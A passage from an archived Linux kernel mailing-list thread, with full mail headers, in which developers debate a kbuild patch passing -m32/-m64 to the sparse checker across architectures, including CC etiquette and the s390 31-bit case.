         0V+2o0MvzT3L9hgM9REYgNO4CQTzNgghyTqQ5taYkoTgNZTGHLF2vl0RcjLZb85dr4Rp
         KrMAWf+FV/Mubt/A0XbMwAAm3Mzaf/SfLWCG/Cvn4W6D+nVAyWhnWmcKhZD1kqTK67Jl
         hGAQ==
X-Gm-Message-State: APt69E2GihF/OCUA6qvPzJNWqMeI5s2tF1hfTHJsEZRAm4dUGuOsOwF+
        XdPe0hwRbzB8qz+SAQbE8RMOjQ==
X-Google-Smtp-Source: ADUXVKKL8KfewnOAAaPiSaT9j8mPkM1Sf02VY3aYpFYjh1dPKTxxwV5/dXfK4M96twS9wQWUsreK8w==
X-Received: by 2002:a24:74d2:: with SMTP id o201-v6mr3708611itc.151.1527719811744;
        Wed, 30 May 2018 15:36:51 -0700 (PDT)
Original-Received: from [192.168.42.193] ([172.58.142.210])
        by smtp.googlemail.com with ESMTPSA id 131-v6sm7194917itv.29.2018.05.30.15.36.47
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 30 May 2018 15:36:50 -0700 (PDT)
In-Reply-To: <d47b72cc-9209-a190-38b3-969870e1bf26@suse.de>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2783140 gmane.linux.kbuild.devel:20162 gmane.linux.ports.alpha:5102 gmane.linux.ports.arm.kernel:654151 gmane.linux.ports.ia64:28845 gmane.linux.ports.mips.general:64932 gmane.linux.ports.parisc:28671 gmane.linux.ports.sparc:27925
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2783140>

On 05/30/2018 05:00 PM, Andreas Färber wrote:
> What about the architectures not touched by your patch that previously
> had no -m32/-m64? (arc, c6x, h8300, hexagon, m68k, microblaze, nds32,
> nios2, openrisc, powerpc, riscv, s390, sh, unicore32, xtensa)
> 
> You forgot to CC them on this patch.

A) He cc'd arch/sh on the previous patch earlier today, to which I replied:

https://marc.info/?l=linux-sh&m=152769132515226&w=2

B) Every change to common infrastructure should cc: every arch? Really? So like
filesystem changes and stuff to?

> Have you really checked that all their toolchains support the -m32/-m64
> flags you newly introduce for them? Apart from non-biarch architectures,
> I'm thinking of 31-bit s390 as a corner case where !64 != 32.

1) Last I heard Linux implements lp64:
   http://www.unix.org/whitepapers/64bit.html

2) it's unlikely to be worse than it was before the patch,

3) last I checked https://github.com/landley/mkroot boots to an s390 shell
prompt under qemu, although I haven't tried building with this patch. (And you
may still need to add HOST_EXTRA='lex yacc bison flex' to the command line
unless they've re-added the _shipped versions like the old kconfig had...) Point
is, shouldn't be too hard to test it. Presumably that's why we have an -rc1 and
then 6 more -rc versions each release...

Rob


From - Thu Nov 08 21:41:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kbuild.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCH] kbuild: add machine size to CHEKCFLAGS
Date: Thu, 31 May 2018 01:06:53 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <CAMHZB6GXVPvr1uwbemuxqPPtNzYT7jeVokR6q9tz2mS_=TG6vA@mail.gmail.com>
References: <20180530204838.22079-1-luc.vanoostenryck@gmail.com> <d47b72cc-9209-a190-38b3-969870e1bf26@suse.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1527721501 8424 195.159.176.226 (30 May 2018 23:05:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 30 May 2018 23:05:01 +0000 (UTC)
Cc: Masahiro Yamada <yamada.masahiro@socionext.com>,
        Michal Marek <michal.lkml@markovi.net>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        James Hogan <jhogan@kernel.org>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "David S . Miller" <davem@davemloft.net>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H . Peter Anvin" <hpa@zytor.com>,
        "the arch/x86 maintainers" <x86@kernel.org>,
        Brendan Higgin
To: =?UTF-8?Q?Andreas_F=C3=A4rber?= <afaerber@suse.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu May 31 01:04:54 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fOA9F-000205-Fo
	for glk-linux-kernel-4@m.gmane.org; Thu, 31 May 2018 01:04:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932667AbeE3XHB (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 30 May 2018 19:07:01 -0400
Original-Received: from mail-vk0-f67.google.com ([209.85.213.67]:39319 "EHLO
        mail-vk0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932416AbeE3XGz (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 30 May 2018 19:06:55 -0400
Original-Received: by mail-vk0-f67.google.com with SMTP id y137-v6so12186191vkd.6;
        Wed, 30 May 2018 16:06:54 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-transfer-encoding;
        bh=07aXHtt9Oy/CtH/eFeOA82JbgRI6LuaMmZ8NxzSnisw=;
        b=vAYeJp1g8XSm04eNyxPffG0CBOvPNwvv4YhhefUxMN83K2rxgN8KJzUmp03sGRNrLO
         K+UzT0kG3vy01VVZWQdoqhoxFOvsqrhZxKx3Tmt6Wy0k6kJjyeOu2Kvy7swdEyWeZerH
         WGBvPv53OGBIoL2vMeYLcd/ta3ix3qKUtXsYax8uvsLzlifZ2cdc+9U9xQvCJi8rVRQ6
         GDTLlH9k2OJ9AEQ1Te34TzlbVVy0kVqHOIBWnAB28q2zb7O87hewxHrEmVPRXhixuhmx
         rNWDGWhXvQJBBZyawa62+QERFeGtPCT4iEusgtvsG/G9jJ5NZtBRLWdNy9ISKapXOyQX
         uYHA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc:content-transfer-encoding;
        bh=07aXHtt9Oy/CtH/eFeOA82JbgRI6LuaMmZ8NxzSnisw=;
        b=KW08+yLY2G1RX9k4mxHGAzp1Y+X7bQYY6CvuEB8viZT2lScxyiLP0MFPVDx3G56Wfp
         PkoJ/VNr5621vRCGnP4Qb2psGiYT7dfmzL2O2i4iTJtLG5TXwoq+G7Dal/TQGhCV+iT/
         X1PfyfJpuZo/trU+kNRmcx/JIkvYyvkYnGsy0xqBiRVmRdexXiY/UnVqr3eKA9W38Un8
         ffurhZK9O6kXp4TpLtMBEXHUWO7YdeDSBwm3wHgTUwQg4DXYY1JmzgtiLS6MMpAO6nKB
         5kDbLpdhDM+RGYyRM5LEmNFvanKljur6KDHjSv5VCw6dFI6ue+yZ6Eew3DbwYPCUFzy5
         FjuA==
X-Gm-Message-State: ALKqPwe2/2wYIPIiRDlUlQX7wtpVeFD20kyYXLnnTrDVhfWz7gmEFOSe
        XIvthKajjhaf97Z6B5EnHwpSRCMup/XW1lxxfp0=
X-Google-Smtp-Source: ADUXVKJCOZAnYMMJKDJjLPSWiuvcxdhQ3lyHgVqnp9jh/Ip4fjFUU0EeVNqmSTDY9BrpIzWkXItfZul3n9NIHf/iw/A=
X-Received: by 2002:a1f:a0d6:: with SMTP id j205-v6mr2708778vke.23.1527721614209;
 Wed, 30 May 2018 16:06:54 -0700 (PDT)
Original-Received: by 2002:ab0:3012:0:0:0:0:0 with HTTP; Wed, 30 May 2018 16:06:53
 -0700 (PDT)
In-Reply-To: <d47b72cc-9209-a190-38b3-969870e1bf26@suse.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2783153 gmane.linux.kbuild.devel:20163 gmane.linux.ports.alpha:5103 gmane.linux.ports.arm.kernel:654153 gmane.linux.ports.ia64:28846 gmane.linux.ports.mips.general:64933 gmane.linux.ports.parisc:28672 gmane.linux.ports.sparc:27926
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2783153>

On Thu, May 31, 2018 at 12:00 AM, Andreas F=C3=A4rber <afaerber@suse.de> wr=
ote:
> Hi Luc,
>
> The typo in the subject made me curious...
>
> Am 30.05.2018 um 22:48 schrieb Luc Van Oostenryck:
>> By default, sparse assumes a 64bit machine when compiled on x86-64
>> and 32bit when compiled on anything else.
>>
>> This can of course create all sort of problems for the other archs, like
>> issuing false warnings ('shift too big (32) for type unsigned long'), or
>> worse, failing to emit legitimate warnings.
>>
>> Fix this by adding the -m32/-m64 flag, depending on CONFIG_64BIT,
>> to CHECKFLAGS in the main Makefile (and so for all archs).
>> Also, remove the now unneeded -m32/-m64 in arch specific Makefiles.
>>
>> Signed-off-by: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
>> ---
>>  Makefile             | 3 +++
>>  arch/alpha/Makefile  | 2 +-
>>  arch/arm/Makefile    | 2 +-
>>  arch/arm64/Makefile  | 2 +-
>>  arch/ia64/Makefile   | 2 +-
>>  arch/mips/Makefile   | 3 ---
>>  arch/parisc/Makefile | 2 +-
>>  arch/sparc/Makefile  | 2 +-
>>  arch/x86/Makefile    | 2 +-
>>  9 files changed, 10 insertions(+), 10 deletions(-)
>
> What about the architectures not touched by your patch that previously
> had no -m32/-m64? (arc, c6x, h8300, hexagon, m68k, microblaze, nds32,
> nios2, openrisc, powerpc, riscv, s390, sh, unicore32, xtensa)

As explained in the patch, by default sparse uses -m64 if compiled on x86-6=
4
and 32bit on everything else (well, more recent versions use -m64 if
compiled on any 64 bit machine). I think that most ppc devs use a ppc
machine and so ppc was most probably fine (at least ppc64) but I suspect
that most of these others archs either had never sparse used on them
or had a lot of wrong warnings. IOW, it was maybe OK but most probably
incorrect for them and now it is OK.

> You forgot to CC them on this patch.

I didn't thought/knew  it was needed and the CC list is already
quite long but, if needed, no problem for me.

> Have you really checked that all their toolchains support the -m32/-m64
> flags you newly introduce for them? Apart from non-biarch architectures,
> I'm thinking of 31-bit s390 as a corner case where !64 !=3D 32.

Hmm, there is no change to anything I call 'toolchain related', like
compiler and linker. The only change is sparse (or any other checker)
receiving now a correct and explicit -m32 or -m64.

For s390, as far as I know:
1) it has CONFIG_64BIT unconditionally definee (because the old 31bit
   is no more supported, now everything is s390x only).
2) even if the *address space* was only 31 bit, I'm very sure
   that sizeof(long) and sizeof(void*) was 4 on these machine
   hence -m32 would have been correct.

Best regards,
-- Luc


From - Thu Nov 08 21:41:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Randy Dunlap <rdunlap@infradead.org>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.kbuild.devel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha
Subject: Re: [PATCH] kbuild: add machine size to CHEKCFLAGS
Date: Wed, 30 May 2018 17:06:24 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <01db7e93-89f3-361a-29c6-5146cda1d745@infradead.org>
References: <20180530204838.22079-1-luc.vanoostenryck@gmail.com>
 <d47b72cc-9209-a190-38b3-969870e1bf26@suse.de>
 <CAMHZB6GXVPvr1uwbemuxqPPtNzYT7jeVokR6q9tz2mS_=TG6vA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1527725087 2016 195.159.176.226 (31 May 2018 00:04:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 31 May 2018 00:04:47 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.8.0
Cc: Nicolas Pitre <nicolas.pitre@linaro.org>, linux-mips@linux-mips.org,
 linux-ia64@vger.kernel.org, Catalin Marinas <catalin.marinas@arm.com>,
 Will Deacon <will.deacon@arm.com>,
 "James E . J . Bottomley" <jejb@parisc-linux.org>,
 Masahiro Yamada <yamada.masahiro@socionext.com>,
 "H . Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
 Helge Deller <deller@gmx.de>, the arch/x86 maintainers <x86@kernel.org>,
 Russell King <linux@armlinux.org.uk>, Christoph Hellwig <hch@infradead.org>,
 Ingo Molnar <mingo@redhat.com>, James Hogan <jhogan@kernel.org>,
 Matt Turner <mattst88@gmail.com>, Fenghua Yu <fenghua.yu@intel.com>,
 Linux Kbuild mailing list <linux-kbuild@vger.kernel.org>,
 Martin Blumenstingl <martin.blumenstingl@googlemail.com>,
 Brendan Higgins <brendanhiggins@google.com>,
 Cao jin <caoj.fnst@cn.fujitsu.com>, Tony Luck <tony.luck@intel.com>,
 Ivan Kokshaysky <ink@jurassic.
To: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>,
 =?UTF-8?Q?Andreas_F=c3=a4rber?= <afaerber@suse.de>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu May 31 02:04:40 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1fOB55-0000OB-UP
	for linux-arm-kernel@m.gmane.org; Thu, 31 May 2018 02:04:40 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=E4RcKMIDTi3B/Be/qyV7Vbl2fKYj8uMFExzgiC86AHw=; b=DSSQBr8CGWdUww
	tyxIjYAnfaU/rovj96mUB5JljfbX0u9rrwHVTja1F63iupBAgGm+sfR38oKWCUISTZLVPogiYDebR
	LTWKSG/u+aKRZNqM4TjM32XVC2MvnoLoyNvGjcLgYyKiOP9355y5pjJda85hj963hF+5Nx0St9zyg
	sfDL3Nddlnf9Wc8akdkPOqODLYry1qJ3yH0KZjGA9mXkQFC4/mQs1kUb/96gIpV3yiYudK3SG5vNi
	gDtCw4jzKHx+HUmSe1ZKgXuuS6kD+/W46hiARY4zvm2IJCvLShKq3Tm6QAruVsrpZ93F6oLSsPFx7
	kgWVw1nP7viyXLGLQvlQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fOB79-0001uS-Il; Thu, 31 May 2018 00:06:47 +0000
Original-Received: from merlin.infradead.org ([2001:8b0:10b:1231::1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fOB77-0001tu-O5; Thu, 31 May 2018 00:06:45 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=infradead.org; s=merlin.20170209; h=Content-Transfer-Encoding:Content-Type:
 In-Reply-To:MIME-Version:Date:Message-ID:From:References:Cc:To:Subject:Sender
 :Reply-To:Content-ID:Content-Description:Resent-Date:Resent-From:
 Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:List-Help:
 List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=GoviHrwN7e8AO6TnnGMqUD9sqS+cFSGHgRNpjOVmB1U=; b=03fyUlrXi5SiWampbA4moD8m7l
 kzpJQQKn6Z473c8s25c4qjN69njOvmxf+mR34BP3XYFOTQeZeguDdpMT21gj2m9RbdOhI8y2uPS6s
 bNIkRanip+34rDZ38xPJ6KR5IOVTF/yLCH/fLUArlP/d5Al8WPuk5N9e+jaubu4kgiP1xBiwvjErk
 X0nbuh24Q8gc0f2S/TZlunzzrdfFPiLIDf/Nob02Kyuekx/U3ljisSKtRB5DuCbhsRlPBL+yhrx5/
 DBQgLJLjG6IPl7m9ZEaLt5GJygVtTMPIZQRakroYhNKcaWidj028soJX1C/ebTQBYa4g8AeDqfFP0
 PoFVxZKw==;
Original-Received: from static-50-53-52-16.bvtn.or.frontiernet.net ([50.53.52.16]
 helo=midway.dunlab)
 by merlin.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fOB6r-0000CW-Ib; Thu, 31 May 2018 00:06:29 +0000
In-Reply-To: <CAMHZB6GXVPvr1uwbemuxqPPtNzYT7jeVokR6q9tz2mS_=TG6vA@mail.gmail.com>
Content-Language: en-US
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:654157 gmane.linux.ports.mips.general:64935 gmane.linux.ports.ia64:28847 gmane.linux.ports.sparc:27927 gmane.linux.kbuild.devel:20164 gmane.linux.ports.parisc:28673 gmane.linux.kernel:2783172 gmane.linux.ports.alpha:5104
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/654157>

T24gMDUvMzAvMjAxOCAwNDowNiBQTSwgTHVjIFZhbiBPb3N0ZW5yeWNrIHdyb3RlOgo+IE9uIFRo
dSwgTWF5IDMxLCAyMDE4IGF0IDEyOjAwIEFNLCBBbmRyZWFzIEbDpHJiZXIgPGFmYWVyYmVyQHN1
c2UuZGU+IHdyb3RlOgo+PiBIaSBMdWMsCj4+Cj4+IFRoZSB0eXBvIGluIHRoZSBzdWJqZWN0IG1h
ZGUgbWUgY3VyaW91cy4uLgo+Pgo+PiBBbSAzMC4wNS4yMDE4IHVtIDIyOjQ4IHNjaHJpZWIgTHVj
IFZhbiBPb3N0ZW5yeWNrOgo+Pj4gQnkgZGVmYXVsdCwgc3BhcnNlIGFzc3VtZXMgYSA2NGJpdCBt
YWNoaW5lIHdoZW4gY29tcGlsZWQgb24geDg2LTY0Cj4+PiBhbmQgMzJiaXQgd2hlbiBjb21waWxl
ZCBvbiBhbnl0aGluZyBlbHNlLgo+Pj4KPj4+IFRoaXMgY2FuIG9mIGNvdXJzZSBjcmVhdGUgYWxs
IHNvcnQgb2YgcHJvYmxlbXMgZm9yIHRoZSBvdGhlciBhcmNocywgbGlrZQo+Pj4gaXNzdWluZyBm
YWxzZSB3YXJuaW5ncyAoJ3NoaWZ0IHRvbyBiaWcgKDMyKSBmb3IgdHlwZSB1bnNpZ25lZCBsb25n
JyksIG9yCj4+PiB3b3JzZSwgZmFpbGluZyB0byBlbWl0IGxlZ2l0aW1hdGUgd2FybmluZ3MuCj4+
Pgo+Pj4gRml4IHRoaXMgYnkgYWRkaW5nIHRoZSAtbTMyLy1tNjQgZmxhZywgZGVwZW5kaW5nIG9u
IENPTkZJR182NEJJVCwKPj4+IHRvIENIRUNLRkxBR1MgaW4gdGhlIG1haW4gTWFrZWZpbGUgKGFu
ZCBzbyBmb3IgYWxsIGFyY2hzKS4KPj4+IEFsc28sIHJlbW92ZSB0aGUgbm93IHVubmVlZGVkIC1t
MzIvLW02NCBpbiBhcmNoIHNwZWNpZmljIE1ha2VmaWxlcy4KPj4+Cj4+PiBTaWduZWQtb2ZmLWJ5
OiBMdWMgVmFuIE9vc3RlbnJ5Y2sgPGx1Yy52YW5vb3N0ZW5yeWNrQGdtYWlsLmNvbT4KPj4+IC0t
LQo+Pj4gIE1ha2VmaWxlICAgICAgICAgICAgIHwgMyArKysKPj4+ICBhcmNoL2FscGhhL01ha2Vm
aWxlICB8IDIgKy0KPj4+ICBhcmNoL2FybS9NYWtlZmlsZSAgICB8IDIgKy0KPj4+ICBhcmNoL2Fy
bTY0L01ha2VmaWxlICB8IDIgKy0KPj4+ICBhcmNoL2lhNjQvTWFrZWZpbGUgICB8IDIgKy0KPj4+
ICBhcmNoL21pcHMvTWFrZWZpbGUgICB8IDMgLS0tCj4+PiAgYXJjaC9wYXJpc2MvTWFrZWZpbGUg
fCAyICstCj4+PiAgYXJjaC9zcGFyYy9NYWtlZmlsZSAgfCAyICstCj4+PiAgYXJjaC94ODYvTWFr
ZWZpbGUgICAgfCAyICstCj4+PiAgOSBmaWxlcyBjaGFuZ2VkLCAxMCBpbnNlcnRpb25zKCspLCAx
MCBkZWxldGlvbnMoLSkKPj4KPj4gV2hhdCBhYm91dCB0aGUgYXJjaGl0ZWN0dXJlcyBub3QgdG91
Y2hlZCBieSB5b3VyIHBhdGNoIHRoYXQgcHJldmlvdXNseQo+PiBoYWQgbm8gLW0zMi8tbTY0PyAo
YXJjLCBjNngsIGg4MzAwLCBoZXhhZ29uLCBtNjhrLCBtaWNyb2JsYXplLCBuZHMzMiwKPj4gbmlv
czIsIG9wZW5yaXNjLCBwb3dlcnBjLCByaXNjdiwgczM5MCwgc2gsIHVuaWNvcmUzMiwgeHRlbnNh
KQo+IAo+IEFzIGV4cGxhaW5lZCBpbiB0aGUgcGF0Y2gsIGJ5IGRlZmF1bHQgc3BhcnNlIHVzZXMg
LW02NCBpZiBjb21waWxlZCBvbiB4ODYtNjQKPiBhbmQgMzJiaXQgb24gZXZlcnl0aGluZyBlbHNl
ICh3ZWxsLCBtb3JlIHJlY2VudCB2ZXJzaW9ucyB1c2UgLW02NCBpZgo+IGNvbXBpbGVkIG9uIGFu
eSA2NCBiaXQgbWFjaGluZSkuIEkgdGhpbmsgdGhhdCBtb3N0IHBwYyBkZXZzIHVzZSBhIHBwYwo+
IG1hY2hpbmUgYW5kIHNvIHBwYyB3YXMgbW9zdCBwcm9iYWJseSBmaW5lIChhdCBsZWFzdCBwcGM2
NCkgYnV0IEkgc3VzcGVjdAo+IHRoYXQgbW9zdCBvZiB0aGVzZSBvdGhlcnMgYXJjaHMgZWl0aGVy
IGhhZCBuZXZlciBzcGFyc2UgdXNlZCBvbiB0aGVtCj4gb3IgaGFkIGEgbG90IG9mIHdyb25nIHdh
cm5pbmdzLiBJT1csIGl0IHdhcyBtYXliZSBPSyBidXQgbW9zdCBwcm9iYWJseQo+IGluY29ycmVj
dCBmb3IgdGhlbSBhbmQgbm93IGl0IGlzIE9LLgo+IAo+PiBZb3UgZm9yZ290IHRvIENDIHRoZW0g
b24gdGhpcyBwYXRjaC4KPiAKPiBJIGRpZG4ndCB0aG91Z2h0L2tuZXcgIGl0IHdhcyBuZWVkZWQg
YW5kIHRoZSBDQyBsaXN0IGlzIGFscmVhZHkKPiBxdWl0ZSBsb25nIGJ1dCwgaWYgbmVlZGVkLCBu
byBwcm9ibGVtIGZvciBtZS4KCklkZWFsbHksIGFkZGluZyBsaW51eC1hcmNoQHZnZXIua2VybmVs
Lm9yZyB3b3VsZCBiZSBzdWZmaWNpZW50LCBidXQKc2FkbHkgSSBoYXZlIGRvdWJ0cyBhYm91dCB0
aGF0LgoKPj4gSGF2ZSB5b3UgcmVhbGx5IGNoZWNrZWQgdGhhdCBhbGwgdGhlaXIgdG9vbGNoYWlu
cyBzdXBwb3J0IHRoZSAtbTMyLy1tNjQKPj4gZmxhZ3MgeW91IG5ld2x5IGludHJvZHVjZSBmb3Ig
dGhlbT8gQXBhcnQgZnJvbSBub24tYmlhcmNoIGFyY2hpdGVjdHVyZXMsCj4+IEknbSB0aGlua2lu
ZyBvZiAzMS1iaXQgczM5MCBhcyBhIGNvcm5lciBjYXNlIHdoZXJlICE2NCAhPSAzMi4KPiAKPiBI
bW0sIHRoZXJlIGlzIG5vIGNoYW5nZSB0byBhbnl0aGluZyBJIGNhbGwgJ3Rvb2xjaGFpbiByZWxh
dGVkJywgbGlrZQo+IGNvbXBpbGVyIGFuZCBsaW5rZXIuIFRoZSBvbmx5IGNoYW5nZSBpcyBzcGFy
c2UgKG9yIGFueSBvdGhlciBjaGVja2VyKQo+IHJlY2VpdmluZyBub3cgYSBjb3JyZWN0IGFuZCBl
eHBsaWNpdCAtbTMyIG9yIC1tNjQuCj4gCj4gRm9yIHMzOTAsIGFzIGZhciBhcyBJIGtub3c6Cj4g
MSkgaXQgaGFzIENPTkZJR182NEJJVCB1bmNvbmRpdGlvbmFsbHkgZGVmaW5lZSAoYmVjYXVzZSB0
aGUgb2xkIDMxYml0Cj4gICAgaXMgbm8gbW9yZSBzdXBwb3J0ZWQsIG5vdyBldmVyeXRoaW5nIGlz
IHMzOTB4IG9ubHkpLgo+IDIpIGV2ZW4gaWYgdGhlICphZGRyZXNzIHNwYWNlKiB3YXMgb25seSAz
MSBiaXQsIEknbSB2ZXJ5IHN1cmUKPiAgICB0aGF0IHNpemVvZihsb25nKSBhbmQgc2l6ZW9mKHZv
aWQqKSB3YXMgNCBvbiB0aGVzZSBtYWNoaW5lCj4gICAgaGVuY2UgLW0zMiB3b3VsZCBoYXZlIGJl
ZW4gY29ycmVjdC4KCgotLSAKflJhbmR5CgpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fXwpsaW51eC1hcm0ta2VybmVsIG1haWxpbmcgbGlzdApsaW51eC1hcm0t
a2VybmVsQGxpc3RzLmluZnJhZGVhZC5vcmcKaHR0cDovL2xpc3RzLmluZnJhZGVhZC5vcmcvbWFp
bG1hbi9saXN0aW5mby9saW51eC1hcm0ta2VybmVsCg==


From - Thu Nov 08 21:41:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Masahiro Yamada <yamada.masahiro@socionext.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kbuild.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCH] kbuild: add machine size to CHEKCFLAGS
Date: Thu, 31 May 2018 10:31:49 +0900
Lines: 93
Approved: news@gmane.org
Message-ID: <CAK7LNARYP9T4pfuA32KrnP4-8_S+BPkvGBVyFgWXp_roXfQV7w@mail.gmail.com>
References: <20180530204838.22079-1-luc.vanoostenryck@gmail.com>
 <d47b72cc-9209-a190-38b3-969870e1bf26@suse.de> <CAMHZB6GXVPvr1uwbemuxqPPtNzYT7jeVokR6q9tz2mS_=TG6vA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1527730268 21916 195.159.176.226 (31 May 2018 01:31:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 31 May 2018 01:31:08 +0000 (UTC)
Cc: =?UTF-8?Q?Andreas_F=C3=A4rber?= <afaerber@suse.de>,
        Michal Marek <michal.lkml@markovi.net>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
